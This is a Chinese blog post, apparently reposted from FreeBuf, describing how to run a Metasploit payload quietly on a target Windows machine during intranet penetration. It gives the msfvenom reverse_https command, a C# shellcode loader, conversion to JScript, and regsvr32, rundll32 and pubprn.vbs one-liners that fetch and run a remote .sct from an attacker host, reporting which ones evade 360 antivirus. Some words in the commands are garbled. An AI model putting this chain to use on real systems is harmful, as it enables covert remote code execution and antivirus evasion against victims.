前言
最近的在学习内网渗透过程中,遇到的一个问题就是如何静静的在目标机器执行Payload。网上姿势很多,最先想到的是PowerSploit,后来看到余弦的猥琐流打法影响深刻,于是动手实践,有些能被360监测到,过程如下:
一、Payload msfvenom -p windows/meterpreter/reverse_https -a x86 --platform win -f csharp -o foo.csharp -b "\x00\xff" LHOST=10.51.90.60 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe 二、编译exe文件
新建的C#工程将Step 1生产的代码覆盖到Paste your Payload here
using System; using System.Threading; using System.Runtime.InteropServices; namespace MSFWrapper { public class Program { public Program() { RunMSF(); } public static void RunMSF() { byte[] MsfPayload = { //Paste your Payload here }; IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40); Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length); CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0); Thread.Sleep(2000); } public static void Main() { } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } } 三、二进制文件转换成脚本
使用DotNetToJ工具将编译出来的exe文件转换成脚本文件,如J、VB、VBA:
>DotNetToJ.exe -l J -o foo.js -c MSFWrapper.Program MSFWrapper.exe
到这一步,在目标主机通过Windows自带的命令行脚本执行工具c.exe运行我们的脚本即可执行Payload,成功免杀。但如果为了有更广泛的效果,我们可以通过sct,把脚本文件放到web server。
四、远程执行
将JS转换成sct文件上传到我们的Web Server
方法1:COM let代码执行
c:\windows\SysWOW64\regsvr32 /s /u /n /i:https://10.51.90.203/demo/msf.sct c:\windows\SysWOW64\scrobj.dllRegsvr32工具通过网络下载一个COM脚本程序(.sct文件),然后在本地机器上注册一个DLL
结果会被360提示
方法2:Rundll32远程执行
c:\windows\syswow64\rundll32.exe java:"\..\mshtml,RunHTMLApplication ";document.write();GetObject(":https://10.51.90.203/lm/msf2.sct");this.close()加载mshtml.dll调用RunHTMLApplication协议来执行let
结果会被360提示
方法3:WSH脚本
c:\windows\SysWOW64\c.exe c:\Windows\System32\Printing_Admin_s\zh-CN\pubprn.vbs 127.0.0.1 :https://10.51.90.203/lm/msf2.sctPubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_s\
绕过360,shellcode被执行
五、总结
本次实验的核心思想是将MSF Payload的二进制文件转化为脚本,并通过Windows自带签名的组件完成免杀目的。
参考
https://mp.weixin.qq.com/s/OxgJIIPaXMXqrY5lPdukdA
*本文作者:马克不温 ,转载请注明来自FreeBuf.COM返回搜狐,查看更多
责任编辑: